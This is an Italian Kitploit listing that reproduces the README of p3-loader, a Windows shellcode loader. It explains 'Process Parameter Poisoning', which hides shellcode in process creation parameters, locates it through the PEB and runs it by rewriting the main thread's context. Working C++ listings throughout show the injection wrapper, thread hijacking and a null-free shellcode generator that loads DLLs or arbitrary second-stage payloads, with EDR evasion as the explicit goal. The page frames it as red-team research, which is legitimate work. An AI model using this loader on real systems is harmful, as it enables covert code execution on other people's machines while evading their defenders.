Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
p3-loader — P³-Shellcode Loader è un loader che implementa una tecnica di iniezione di codice che sfrutta la struttura Process Parameters come posizione di esecuzione e staging per l'iniezione di shellcode in processi remoti, senza innescare i comuni meccanismi di rilevamento. | Kitploit
Strumenti/GitHubGitHub/orange-cyberdefense/p3-loader
Strumenti DifensiviEscalation di PrivilegiExploitShellcodePost-ExploitPenetration TestingPaper e RicercaApprendimento e FormazioneRed Teaming

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Sviluppo Payload
Binary Exploitation
GitHuborange-cyberdefense/p3-loader

p3-loader

P³-Shellcode Loader è un loader che implementa una tecnica di iniezione di codice che sfrutta la struttura Process Parameters come posizione di esecuzione e staging per l'iniezione di shellcode in processi remoti, senza innescare i comuni meccanismi di rilevamento.

Vedi Repository
2042332 mesi faRevisionato da Kitploit
Condividi

P³-Shellcode Loader - Process Parameter Poisoning

Autori: Max Hirschberger & Ogulcan Ugur


Contenuti

  1. Introduzione
  2. Iniezione tipica di processi e API di sistema coinvolte
  3. Fondamenti tecnici degli internals di Windows richiesti
    • 3.1 API di creazione dei processi e parametri di avvio
    • 3.2 Il Process Environment Block (PEB)
  4. Process Parameter Poisoning (P³)
    • 4.1 Avviare un processo con un parametro avvelenato
    • 4.2 Individuare i dati iniettati nel nuovo processo
    • 4.3 Eseguire il codice iniettato
    • 4.4 Iniezioni di payload implementate
  5. Passare shellcode arbitrario in una stringa
    • 5.1 Metodi helper di basso livello usati dal generatore di shellcode
    • 5.2 Implementazione delle operazioni di alto livello
  6. Vantaggi dell'elusione del rilevamento con questa tecnica
  7. Approccio al rilevamento
  8. Conclusione
  • Riferimenti

  • 1. Introduzione

    P³-Shellcode Loader è un loader che implementa una tecnica di code injection che sfrutta la struttura dei Process Parameters (Process Parameter Poisoning) come posizione di esecuzione e staging per l'iniezione di shellcode in processi remoti, senza attivare i comuni meccanismi di rilevamento.

    Un concetto simile è stato descritto dal ricercatore di sicurezza modexp, che ha dimostrato che gli argomenti passati all'API CreateProcess possono essere sfruttati per questo scopo [1].


    2. Iniezione tipica di processi e API di sistema coinvolte

    Gli attaccanti vogliono rendere le loro attività meno sospette. Con l'iniezione di processi, gli attaccanti sono in grado di eseguire le loro attività da un processo diverso, più affidabile o che ci si aspetta stia eseguendo l'attività specifica, riducendo così i sospetti.

    Di seguito sono riportati i passaggi tipici necessari per iniettare codice in un altro processo:

    1. L'attaccante cerca e apre un processo target o avvia un nuovo processo (tramite OpenProcess / NtOpenProcess o CreateProcess / NtCreateProcess).
    2. La memoria per il codice dannoso viene allocata nel processo target (tramite VirtualAllocEx o NtAllocateVirtualMemory).
    3. Il codice dannoso viene scritto nella nuova allocazione (tramite WriteProcessMemory / NtWriteVirtualMemory).
    4. La protezione dell'accesso alla memoria viene configurata per consentire l'esecuzione del codice dannoso (tramite VirtualProtectEx / NtProtectVirtualMemory).
    5. Un nuovo thread viene avviato nel processo target per eseguire il codice dannoso (tramite CreateRemoteThread o NtCreateThreadEx).

    Ulteriori tecniche di injection includono, ma non si limitano a:

    • Thread Hijacking: Invece di creare un nuovo thread, uno esistente viene reindirizzato (tramite NtSetContextThread)
    • Early-Bird APC-Injection: Utilizza chiamate a procedure asincrone (APC) per reindirizzare l'esecuzione di un thread esistente (tramite NtQueueApcThread)
    • Dirty Vanity: Abusa dell'API Windows RtlCreateProcessReflection, che implementa il forking dei processi. Nei nostri test, abbiamo osservato che la maggior parte degli EDR si concentra su specifiche telemetrie per rilevare l'iniezione di processi. Gli EDR monitorano principalmente l'uso di WriteProcessMemory e VirtualAllocEx, così come le loro chiamate di sistema kernel sottostanti NtWriteVirtualMemory, NtAllocateVirtualMemory e NtAllocateVirtualMemoryEx.

    3. Fondamenti tecnici degli internals di Windows richiesti

    3.1 API di creazione dei processi e parametri di avvio

    Windows fornisce la funzione API CreateProcessW per creare nuovi processi, mostrata nel Listato 1. I primi tre dei suoi parametri lpCommandLine, lpEnvironment e lpStartupInfo sono rilevanti per la tecnica di injection descritta, poiché vengono utilizzati per trasferire dati al nuovo processo.```c BOOL CreateProcessW( [in, optional] LPCWSTR lpApplicationName, [in, out, optional] LPWSTR lpCommandLine, [in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes, [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] BOOL bInheritHandles, [in] DWORD dwCreationFlags, [in, optional] LPVOID lpEnvironment, [in, optional] LPCWSTR lpCurrentDirectory, [in] LPSTARTUPINFOW lpStartupInfo, [out] LPPROCESS_INFORMATION lpProcessInformation );

    root@kitploit:~
    *Listato 1: Definizione della funzione API Windows CreateProcessW*
     
    Il parametro `lpCommandLine` specifica la riga di comando per il nuovo processo. È limitato a un massimo di 32.767 caratteri Unicode, incluso il terminatore null Unicode. Per la variante Unicode, è necessario fornire una stringa su cui la funzione possa scrivere. Se viene fornita una stringa costante, qualsiasi tentativo di scrittura effettuato dalla funzione API comporta una violazione di accesso alla memoria. Se il valore è `NULL`, la riga di comando del processo verrà presa dal parametro `lpApplicationName`. Se `lpApplicationName` è `NULL`, deve essere fornito nel campo `lpCommandLine` ed è limitato a caratteri `MAX_PATH`.
     
    Il parametro `lpEnvironment` fornisce un elenco di variabili d'ambiente al processo. Se il valore è `NULL`, verrà utilizzato l'ambiente del processo creatore. L'elenco delle variabili d'ambiente consiste in stringhe successive terminate da null nel formato `NAME=VALUE` con un altro terminatore null alla fine.
     
    Il parametro `lpStartupInfo` è una struttura mostrata nel Listato 2 con campi quali stazione finestra, desktop, handle standard di input e output, nonché campi che configurano la finestra principale del nuovo processo. Secondo la documentazione Microsoft, il campo `lpReserved` è riservato per uso interno senza ulteriore documentazione. Attraverso l'analisi con il debugger WinDbg, è stato possibile correlare questo parametro alla variabile `ShellInfo` di tipo `UNICODE_STRING` nel nuovo processo.```c
    typedef struct _STARTUPINFOW {
        DWORD  cb;
        LPWSTR lpReserved;   // Copied to ShellInfo (UNICODE_STRING)
        LPWSTR lpDesktop;
        LPWSTR lpTitle;
        DWORD  dwX;
        DWORD  dwY;
        DWORD  dwXSize;
        // (...) additional fields
        WORD   wShowWindow;
        WORD   cbReserved2;
        LPBYTE lpReserved2;
        HANDLE hStdInput;
        // (...) additional fields
    } STARTUPINFOW, *LPSTARTUPINFOW;
    

    Listato 2: Struttura della struttura dati STARTUPINFOW

    3.2 Il Process Environment Block (PEB)

    Alla creazione di un nuovo processo, tutti i parametri di processo forniti vengono scritti nel Process Environment Block (PEB). Il PEB è una struttura dati presente in tutti i processi e unica per ciascun processo. I parametri sono accessibili all'interno del membro ProcessParameters del tipo RTL_USER_PROCESS_PARAMETERS. Oltre ai parametri di processo, questa struttura include anche ulteriori informazioni di runtime, come un elenco dei moduli caricati. La struttura del PEB e i relativi parametri di processo in RTL_USER_PROCESS_PARAMETERS sono mostrati nel Listato 3 e nel Listato 4.```c typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; // (...) additional fields PVOID ImageBaseAddress; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // Poisonable PVOID SubSystemData; PVOID ProcessHeap; PRTL_CRITICAL_SECTION FastPebLock; // (...) additional fields } PEB, *PPEB;

    root@kitploit:~
    *Listato 3: Layout della struttura dati PEB*```c
    typedef struct _RTL_USER_PROCESS_PARAMETERS
    {
        ULONG MaximumLength;
        ULONG Length;
        ULONG Flags;
        ULONG DebugFlags;
        // (...) additional fields
        CURDIR         CurrentDirectory;
        UNICODE_STRING DllPath;       // Potential candidate for transfer
        UNICODE_STRING ImagePathName; // Potential candidate for transfer
        UNICODE_STRING CommandLine;   // Primary candidate for transfer
        PVOID          Environment;   // Primary candidate for transfer
        // (...) additional fields
        UNICODE_STRING ShellInfo;     // Primary candidate for transfer
                                      // (lpReserved in STARTUPINFO)
        UNICODE_STRING RuntimeData;   // Potential candidate for transfer
        // (...) additional fields
    } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
    

    Listato 4: Disposizione della struttura dati RTL_USER_PROCESS_PARAMETERS

    La Figura 1 mostra il parametro ShellInfo con il valore avvelenato fornito nel campo lpReserved per la struttura STARTUPINFOW. Inoltre, la Figura 2 mostra la riga di comando controllata all'interno del tool System Informer.

    image

    Figura 1: Parametro ShellInfo avvelenato

    image

    Figura 2: Riga di comando avvelenata


    4. Avvelenamento dei parametri di processo (P³)

    4.1 Avvio di un processo con un parametro avvelenato

    Poiché esistono più parametri che possono essere utilizzati per copiare il codice dannoso, la funzione wrapper nel Listato 5 crea un processo con l'argomento avvelenato fornito al parametro di processo scelto. Quando si esegue l'injector implementato, questa scelta può essere effettuata come mostrato nella Figura 3. Inoltre, è possibile fornire qualsiasi valore per l'applicazione di destinazione che verrà utilizzata in lpApplication, con il prompt utente mostrato nella Figura 4.```cpp BOOL CreateProcessWithPoison (int choice, PWCHAR lpApplication, PWCHAR poisonParameter, PPROCESS_INFORMATION pi) { STARTUPINFOW si = { 0 }; switch (choice) { case 1: // Injection via ShellInfo (lpReserved) printf("[] Writing into ShellInfo...\n"); si.lpReserved = poisonParameter; return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, pi); case 2: // Injection via Environment block printf("[] Writing into Environment block...\n"); return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE, CREATE_UNICODE_ENVIRONMENT, poisonParameter, NULL, &si, pi); case 3: // Injection via CommandLine printf("[~] Writing into CommandLine...\n"); return CreateProcessW(lpApplication, poisonParameter, NULL, NULL, FALSE, 0, NULL, NULL, &si, pi); default: return FALSE; } }

    root@kitploit:~
    *Elenco 5: Implementazione di CreateProcessWithPoison*
     
    Questa funzione implementa tre diverse scelte di parametri:
     
    1. **Iniezione ShellInfo:** posiziona il veleno nel campo `lpReserved` del parametro `lpStartupInfo` che verrà copiato nella variabile `ShellInfo` nel PEB
    2. **Iniezione nell'ambiente:** posiziona il veleno nel parametro `lpEnvironment` con il flag `CREATE_UNICODE_ENVIRONMENT`
    3. **Iniezione nella riga di comando:** posiziona il veleno nel parametro `lpCommandLine` di `CreateProcessW`
    
    <img width="753" height="445" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/878e41931d49b82212556e099ba928cab890d427cd87498fb667f3e0965dbbe1.png" />
    
    
    *Figura 3: Selezione del parametro da avvelenare*
    
    
    <img width="752" height="167" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/a128d8601b3edcfbf31ba3aa3c10fe995910fc932973a6d86e263f6edafb1bb8.png" />
    
     
    *Figura 4: Selezione dell'eseguibile dell'applicazione di destinazione*
     
    ### 4.2 Individuazione dei dati iniettati nel nuovo processo
     
    Dopo la creazione riuscita del processo, i dati iniettati possono essere trovati tramite la struttura PEB. Per individuare il veleno nel nuovo processo sono necessari i seguenti tre passaggi.
     
    Per prima cosa, l'indirizzo iniziale della struttura PEB viene determinato chiamando `NtQueryInformationProcess`. `NtQueryInformationProcess` recupera la struttura dati `PROCESS_BASIC_INFORMATION` quando viene chiamato con la classe di informazioni `ProcessBasicInformation`. E `PROCESS_BASIC_INFORMATION` contiene l'indirizzo del PEB nel campo `PebBaseAddress`. Questo passaggio è mostrato nell'Elenco 6.```cpp
    WinApiResolver winapi = WinApiResolver::GetInstance();
    PROCESS_BASIC_INFORMATION pbi = { 0 };
    ULONG retLen;
    winapi.NtQueryInformationProcess(
        pi.hProcess,             // Handle of the new process
        ProcessBasicInformation, // Query PROCESS_BASIC_INFORMATION
        &pbi,                    // Destination
        sizeof(pbi),             // Size of the destination
        &retLen                  // Resulting size of what was read
    );
    

    Listing 6: Primo passaggio dell'individuazione dei dati iniettati

    Nel secondo passaggio, la struttura PEB viene letta chiamando NtReadVirtualMemoryEx con l'indirizzo iniziale della struttura recuperata nel primo passaggio. L'implementazione del secondo passaggio è mostrata nel Listing 7.```cpp PEB pebLocal = { 0 }; SIZE_T bytesRead; NTSTATUS status = winapi.NtReadVirtualMemoryEx( pi.hProcess, // Handle of the new process pbi.PebBaseAddress, // Starting address of the PEB &pebLocal, // Destination / Local copy of the PEB sizeof(pebLocal), // Size to be read &bytesRead, // Resulting size of what was read 0 // Reserved parameter );

    root@kitploit:~
    *Listing 7: Secondo passaggio della localizzazione dei dati iniettati*
     
    Dopo aver letto il PEB, il campo `ProcessParameters` contiene l'indirizzo iniziale della struttura `RTL_USER_PROCESS_PARAMETERS` nel nuovo processo. Nel terzo passaggio, questa struttura viene anch'essa letta dal nuovo processo. I puntatori ai dati iniettati si trovano all'interno di questa struttura. Il terzo passaggio è mostrato nel Listing 8.```cpp
    RTL_USER_PROCESS_PARAMETERS parameters = { 0 };
    status = winapi.NtReadVirtualMemoryEx(
        pi.hProcess,                // Handle of target process
        pebLocal.ProcessParameters, // ProcessParameters address in target
        &parameters,                // Output buffer / Local copy
        sizeof(parameters),         // Size to be read
        &bytesRead,                 // Resulting size of what was read
        0                           // Reserved parameter
    );
    

    Elenco 8: Terzo passaggio della localizzazione dei dati iniettati

    Questo approccio utilizza solo API di lettura della memoria e nessuna API di scrittura o allocazione su cui gli EDR si concentrano. Tuttavia, esiste una limitazione imposta dai parametri. Poiché questi parametri sono stringhe terminate da null, solo lo shellcode senza terminatore null può essere trasferito completamente. Una soluzione per superare questa limitazione è fornita nella Sezione 5.

    4.3 Esecuzione del codice iniettato

    Dopo il trasferimento del codice, l'esecuzione del processo deve ancora essere indirizzata al codice. Inoltre, la protezione della memoria dei dati iniettati deve essere regolata, poiché i parametri non vengono inseriti in regioni marcate come eseguibili.

    Per modificare la protezione, viene utilizzata l'API Windows NtProtectVirtualMemory per cambiare la protezione da sola lettura e scrittura a sola lettura ed esecuzione.

    Per reindirizzare l'esecuzione del codice allo shellcode, esistono i seguenti tre metodi:

    • CreateRemoteThread / NtCreateThreadEx: Creare un nuovo thread che inizi dallo shellcode
    • QueueUserAPC / NtQueueApcThread: Accodare un APC su un thread esistente che finisce per reindirizzarlo allo shellcode
    • Manipolazione del contesto del thread: Modificare il puntatore alle istruzioni di un thread esistente per spostarne l'esecuzione allo shellcode

    Durante l'implementazione iniziale di questa tecnica, l'approccio Dirty Vanity è stato valutato per l'esecuzione del codice. Tuttavia, diversi EDR hanno generato avvisi per questo metodo.

    Un'analisi dettagliata dell'implementazione di RtlCreateProcessReflection ha rivelato che effettua chiamate a NtWriteVirtualMemory e NtCreateThreadEx. In sostanza, crea un thread in un processo di destinazione per eseguire una funzione all'interno di ntdll.dll. Questa funzione sia crea il processo clonato chiamando RtlCloneUserProcess sia esegue una scrittura in memoria nel processo clonato.

    Poiché NtWriteVirtualMemory è uno dei principali indicatori utilizzati dagli EDR, il metodo Dirty Vanity non fa altro che destare sospetti oltre il necessario.

    Al contrario, viene utilizzata la manipolazione del contesto del thread principale, poiché offre i seguenti vantaggi rispetto a Dirty Vanity:

    • Disponibilità degli handle del thread: CreateProcessW fornisce già un handle valido per il thread principale all'interno della struttura PROCESS_INFORMATION. Un handle è un oggetto di riferimento astratto che il kernel fornisce per interagire con le risorse di sistema, come processi, thread e file. Gli handle sono essenzialmente indici in tabelle di handle specifiche del processo che mappano ogni handle a un oggetto nel kernel con un associato livello di accesso all'oggetto.
    • Evitare chiamate API sospette: NtWriteVirtualMemory, VirtualAllocEx e CreateRemoteThread non vengono mai utilizzate, viene chiamata solo NtSetContextThread.

    Il contesto di un thread è lo stato di tutti i registri del processore. Pertanto è possibile reindirizzare il flusso di esecuzione di un thread manipolandone il contesto, cioè modificando il registro del puntatore alle istruzioni. Tipicamente, il contesto del thread viene manipolato nei seguenti passaggi:

    1. Sospensione del thread: Il thread di destinazione viene posto in stato sospeso chiamando SuspendThread oppure creandolo in stato sospeso
    2. Lettura del contesto: Il contesto corrente viene letto in una struttura dati CONTEXT tramite GetThreadContext
    3. Modifica del contesto: Vengono apportate le modifiche desiderate al contesto, ad es. cambiando il registro del puntatore alle istruzioni RIP
    4. Applicazione del contesto: Il contesto modificato viene scritto nel thread chiamando SetThreadContext
    5. Ripresa del thread: Viene chiamato ResumeThread per riprendere l'esecuzione del thread al nuovo valore di RIP

    Il contesto di un thread può essere modificato senza sospenderlo prima. Pertanto non è necessario chiamare SuspendThread e ResumeThread, che potrebbero essere monitorate dagli EDR per l'iniezione di processi. Inoltre, la chiamata a GetThreadContext può anche essere saltata, se l'esecuzione precedente non deve essere ripristinata in un momento successivo. L'implementazione risultante è mostrata nell'Elenco 9.```cpp NTSTATUS ThreadSetExec(PHANDLE hThread, PVOID shellcode) { CONTEXT ctx; ctx = { 0 }; ctx.ContextFlags = CONTEXT_CONTROL; // CONTEXT_CONTROL flag is enough WinApiResolver winapi = WinApiResolver::GetInstance(); NTSTATUS status = 0;

    root@kitploit:~
    status = winapi.NtGetContextThread(*hThread, &ctx);
    if (!NT_SUCCESS(status)) {
        SetColor(FOREGROUND_RED);
        printf("\n[-] NtGetContextThread failed with Error Code %08x\n", status);
        return status;
    }
    
    ctx.Rip = (DWORD64)shellcode;
    
    status = winapi.NtSetContextThread(*hThread, &ctx);
    if (!NT_SUCCESS(status)) {
        SetColor(FOREGROUND_RED);
        printf("\n[-] NtSetContextThread failed with Error Code %08x\n", status);
        return status;
    }
    
    return 0;
    

    }

    root@kitploit:~
    *Listato 9: Manipolazione del contesto del thread in ThreadSetExec*
     
    ### 4.4 Iniezioni di Payload Implementate
     
    La nostra implementazione di questa tecnica di iniezione include le seguenti quattro opzioni di payload mostrate nella Figura 5.
     
    1. La prima opzione è una semplice demo che mostra una finestra popup ed è mostrata nella Figura 5. Questa opzione non richiede ulteriore shellcode o file eseguibili da iniettare.
    2. La seconda opzione prende una rappresentazione esadecimale dello shellcode e lo inietta. Se lo shellcode contiene byte nulli, viene iniettato con il metodo descritto nella Sezione 5.
    3. La terza opzione accetta un percorso di un file DLL che viene poi fornito a `LoadLibraryA` all'interno del target.
    4. Infine, la quarta opzione carica shellcode grezzo da un URL HTTP(S) e gestisce anche la limitazione dei byte nulli.
    
    <img width="598" height="200" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/f98211120a8cba1628a3514f30befdc7e8ba315cec4148f071216ee5647b7c9b.png" />
    
    
    *Figura 5: Scelta dello Shellcode Iniettato*
    
    
    <img width="841" height="556" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/3d662981ef5fe16b62eb12c934ba483f9cb75e87343e5ea330de69b2ed5f2985.png" />
    
    
    *Figura 6: Finestra di messaggio creata dallo Shellcode*
     
    ---
    
    ## 5. Passare Shellcode Arbitrario in una Stringa
     
    Non è possibile passare dati arbitrari nei parametri. Questo perché verranno copiati solo i dati fino a un terminatore nullo. Per superare questa limitazione, abbiamo creato un generatore di shellcode che non emette terminatori nulli.
     
    Questo generatore di shellcode può creare shellcode per chiamare `MessageBoxA`, `LoadLibraryA`, `NtTerminateProcess` o `NtSuspendThread` con parametri arbitrari. Inoltre, può generare shellcode che decodifica uno shellcode di secondo stadio arbitrario e vi salta.
     
    È implementato nella classe C++ `ShellCodeWriter`, con metodi helper privati e metodi pubblici per la funzionalità esposta. I dettagli implementativi saranno spiegati di seguito.
     
    ### 5.1 Metodi Helper di Livello Inferiore Usati dal Generatore di Shellcode
     
    `Xor` viene usato come primitiva che consente allo shellcode di generare qualsiasi dato, inclusi i byte nulli. Questa primitiva è implementata nel metodo helper `SetRAXXOR` che accetta due valori a 64 bit. Emette shellcode che esegue un'operazione xor con i valori a 64 bit forniti e salva il risultato nel registro `RAX`.
     
    L'helper aggiuntivo `SetRAX` crea questi due valori a 64 bit che, quando vengono sottoposti a xor, producono un valore dato. Garantisce inoltre che questi due valori a 64 bit non contengano byte nulli. In sostanza, `SetRAX` emette shellcode che imposta il registro `RAX` a un valore arbitrario a 64 bit.
     
    Sia `SetRAXXOR` che `SetRAX` sono mostrati nel Listato 10. Inoltre, il codice macchina risultante da tre chiamate di esempio a `SetRAX` è mostrato nel Listato 11.```cpp
    void ShellCodeWriter::SetRAXXOR(uint64_t xor_a_value, uint64_t xor_b_value)
    {
        const char gadget[] =
            "\x48\xB8\xB0\xC5\x2F\x6D\xFB\x7F\x01\x01" // mov rax, XOR_A
            "\x49\xBF\x01\x01\x01\x01\x01\x01\x01\x01" // mov r15, XOR_B
            "\x4C\x31\xF8";                              // xor rax, r15
        uint64_t* xor_a = (uint64_t*)(gadget + 2);
        uint64_t* xor_b = (uint64_t*)(gadget + 12);
        *xor_a = xor_a_value;
        *xor_b = xor_b_value;
        AppendShellCode(gadget, 23);
    }
     
    void ShellCodeWriter::SetRAX(uint64_t value)
    {
        if (value == 0)
        {
            AppendShellCode("\x48\x31\xC0", 3); // xor rax, rax
            return;
        }
        uint64_t xor_a = 0, xor_b = 0x0101010101010101;
        // Adjust the xor key (xor_b) to ensure xor_a will have no zero bytes
        for (int i = 0; i < 8; i++)
        {
            if (((uint8_t*)(&value))[i] == 0x01)
            {
                ((uint8_t*)(&xor_b))[i] = 0x02;
            }
        }
        xor_a = value ^ xor_b;
        SetRAXXOR(xor_a, xor_b);
    }
    

    Listato 10: Implementazione di SetRAXXOR e SetRAX```asm ; SetRAX(0) xor rax, rax

    ; SetRAX(0xDEADBEEF) mov rax, 0x01010101DFACBFEE mov r15, 0x0101010101010101 xor rax, r15

    ; SetRAX(1) mov rax, 0x0101010101010103 mov r15, 0x0101010101010102 xor rax, r15

    root@kitploit:~
    *Listato 11: Esempi di codice emesso da SetRAX*
     
    `SetRAX` è la base per i metodi helper `PushValue`, `PushBuffer`, `SetArgRegister` e `SetArgRegisterStackRelative`. `PushValue` chiama `SetRAX` e lo segue con un'istruzione `push RAX` che quindi consente di inserire valori arbitrari nello stack. `PushBuffer` usa `PushValue` per scrivere un array arbitrario di byte sullo stack; a tale scopo suddivide i dati in valori a 64 bit e li inserisce in ordine inverso. L'ordine deve essere invertito, poiché il puntatore allo stack viene decrementato dopo ogni push. Il generatore di shellcode tiene traccia di quanti byte sono stati inseriti con la variabile `m_total_consumed_stack_bytes`. Questa variabile viene usata nel metodo helper `FreeStack` per pulire lo stack, riportando il puntatore allo stack al suo valore iniziale.
     
    Nell'interfaccia binaria delle applicazioni (ABI) Windows x86 a 64 bit, i registri `RCX`, `RDX`, `R8` e `R9` sono usati per i primi quattro argomenti quando si chiama una funzione. Gli argomenti aggiuntivi vengono inseriti nello stack, dopo uno shadow space di 32 byte. Lo shadow space è riservato alla funzione chiamata e viene usato per salvare i primi quattro registri degli argomenti. `SetArgRegister` e `SetArgRegisterStackRelative` sono usati per impostare uno di questi quattro registri degli argomenti. `SetArgRegister` imposta un dato registro su un valore costante arbitrario. E il codice generato da `SetArgRegisterStackRelative` scrive il puntatore allo stack più un offset costante nel corrispondente registro degli argomenti. Qualsiasi argomento aggiuntivo della funzione può essere inserito con il metodo helper `PushValue`.
     
    Il metodo helper `Call` genera codice che allinea il puntatore allo stack a 16 byte, quindi esegue una chiamata all'indirizzo indicato e infine annulla qualsiasi modifica di allineamento inizialmente effettuata. È richiesto un puntatore allo stack allineato a 16 byte per evitare crash nelle funzioni che utilizzano operazioni sui registri a virgola mobile XMM. Quando si chiamano funzioni con argomenti passati sullo stack, l'allineamento deve essere corretto prima di chiamare questo helper. Altrimenti, gli argomenti finiscono all'offset sbagliato nello stack.
     
    ### 5.2 Implementazione delle operazioni di livello superiore
     
    L'operazione più semplice è chiamare `NtTerminateProcess` o `NtSuspendThread`. Data la loro somiglianza, verrà trattato solo `NtTerminateProcess`, mostrato nel Listato 12. `NtTerminateProcess` accetta due parametri e segue la convenzione di chiamata x64. Per prima cosa, il metodo helper `SetArgRegister` viene chiamato per entrambi i parametri, per inizializzarli con i valori forniti. Quindi viene chiamata la funzione API.
     
    Poiché lo shellcode viene generato sulla stessa macchina, l'indirizzo della funzione viene risolto al momento della generazione e non all'interno dello shellcode. La risoluzione delle funzioni API è gestita dalla classe `WinApiResolver`. Infine, il metodo helper `Call` genera l'istruzione di chiamata e il codice di allineamento dello stack.```cpp
    void ShellCodeWriter::CallTerminateProcess
    (HANDLE ProcessHandle, NTSTATUS ExitStatus)
    {
        SetArgRegister(0, (uint64_t)ProcessHandle);
        SetArgRegister(1, ExitStatus);
        WinApiResolver winapi = WinApiResolver::GetInstance();
        Call((uint64_t)winapi.NtTerminateProcess);
    }
    

    Listato 12: Implementazione di ShellCodeWriter::CallTerminateProcess

    Le funzioni che accettano valori di puntatore, come LoadLibraryA e MessageBoxA, non possono essere usate allo stesso modo. Questo perché è richiesto un indirizzo di memoria valido, che non è noto al momento della generazione dello shellcode. Pertanto, l'helper SetArgRegisterStackRelative viene usato per impostare l'argomento su un indirizzo nello stack. Nel Listato 13, la stringa del parametro del modulo viene scritta nello stack e il primo registro degli argomenti viene impostato per puntare all'inizio della stringa del modulo nello stack. Inoltre, la funzione sposta il puntatore di stack di 32 byte per tenere conto dello shadow space. Senza questo, la funzione chiamata sovrascriverebbe la stringa del modulo.```cpp void ShellCodeWriter::CallLoadLibraryA(LPCSTR module) { PushBuffer(module, strlen(module) + 1); int pos_buf = m_total_consumed_stack_bytes; // Shadow Space AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32 m_total_consumed_stack_bytes += 32; // Populate arg registers SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_buf)); WinApiResolver winapi = WinApiResolver::GetInstance(); Call((uint64_t)winapi.LoadLibraryA); }

    root@kitploit:~
    Elenco 13: Implementazione di ShellCodeWriter::CallLoadLibraryA
     
    Infine, `LoadAndCallShellCode` accetta uno shellcode arbitrario che può includere byte zero e lo esegue. La sua implementazione è mostrata negli Elenchi 14 e 15 ed è suddivisa nelle seguenti cinque operazioni:
     
    1. Lo shellcode arbitrario viene scritto nello stack tramite `PushBuffer`. Successivamente, lo shadow space viene allocato per proteggere lo shellcode dalla sovrascrittura.
    2. Subito dopo, viene effettuata una semplice chiamata a `VirtualAlloc` che utilizza parametri già noti al momento della generazione. Questa chiamata API alloca memoria protetta in lettura/scrittura e in grado di contenere lo shellcode.
    3. Successivamente, l'indirizzo di memoria restituito da `VirtualAlloc` viene salvato nei due registri `R12` e `R10`. Poi `R11` viene inizializzato con la dimensione dello shellcode e `RCX` viene impostato per puntare all'inizio dello shellcode. Con i registri `R10`, `R11` e `RCX` impostati, seguono sei istruzioni che eseguono una copia in memoria, copiando lo shellcode nella regione di memoria appena allocata.
    4. Saltare allo shellcode non è ancora possibile, poiché la regione di memoria è protetta in lettura/scrittura. Sarebbe possibile allocare una regione in lettura/scrittura ed eseguibile, ma questo sarebbe probabilmente considerato più sospetto. Pertanto, viene effettuata una chiamata a `VirtualProtect` per cambiare la protezione in leggibile ed eseguibile, ma non scrivibile.
    5. E infine, viene effettuato un salto allo shellcode, dopo aver verificato che lo stack sia correttamente allineato.```cpp
    void ShellCodeWriter::LoadAndCallShellCode(const std::vector<uint8_t>& shellcode)
    {
        // 1. Pushes the shellcode to the stack
        PushBuffer(shellcode.data(), shellcode.size());
        int pos_sc = m_total_consumed_stack_bytes;
        // Shadow Space
        AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
        m_total_consumed_stack_bytes += 32;
     
        // 2. Allocates READWRITE memory
        CallVirtualAlloc(NULL, shellcode.size(), MEM_COMMIT, PAGE_READWRITE);
     
        { // 3. Copies shellcode from the stack to the newly allocated area
            AppendShellCode("\x49\x89\xC4", 3); // mov r12, rax ; shellcode_dest
            AppendShellCode("\x49\x89\xC2", 3); // mov r10, rax ; shellcode_dest
            SetRAX(shellcode.size());
            AppendShellCode("\x49\x89\xC3", 3); // mov r11, rax ; size
            SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_sc));
            // r10: Shellcode dest ptr
            // r11: size
            // rcx: Shellcode src ptr
            const char* copy_sc =
                "\x8A\x01"   // mov al, byte ptr ds:[rcx]
                "\x41\x88\x02" // mov byte ptr ds:[r10], al
                "\x48\xff\xc1" // inc rcx
                "\x49\xff\xc2" // inc r10
                "\x49\xff\xcb" // dec r11
                "\x75\xf0";    // jnz -16
            AppendShellCode(copy_sc, 16);
        }
        // (...)
    

    Listato 14: Implementazione di ShellCodeWriter::LoadAndCallShellCode (Passaggi 1–3)```cpp // (...) { // 4. Changes protection of the newly allocated area to EXECUTE_READ // VirtualProtect(shellcode_dest, size, PAGE_EXECUTE_READ, shellcode_src); AppendShellCode("\x4C\x89\xE1", 3); // mov rcx, r12 ; lpAddress SetArgRegister(1, shellcode.size()); SetArgRegister(2, PAGE_EXECUTE_READ); // flNewProtect SetArgRegisterStackRelative(3, (m_total_consumed_stack_bytes - pos_sc)); WinApiResolver winapi = WinApiResolver::GetInstance(); Call((uint64_t)winapi.VirtualProtect); }

    root@kitploit:~
    if (m_total_consumed_stack_bytes % 16)
    {
        AppendShellCode("\x58\x50\x50", 3); // pop rax; push rax; push rax;
        m_total_consumed_stack_bytes += 8;
    }
    
    // 5. Jumps to the newly allocated area
    AppendShellCode("\x41\xff\xe4", 3); // jmp r12
    

    }

    root@kitploit:~
    *Listato 15: Implementazione di ShellCodeWriter::LoadAndCallShellCode (Passaggi 4–5)*
     
    ---
    
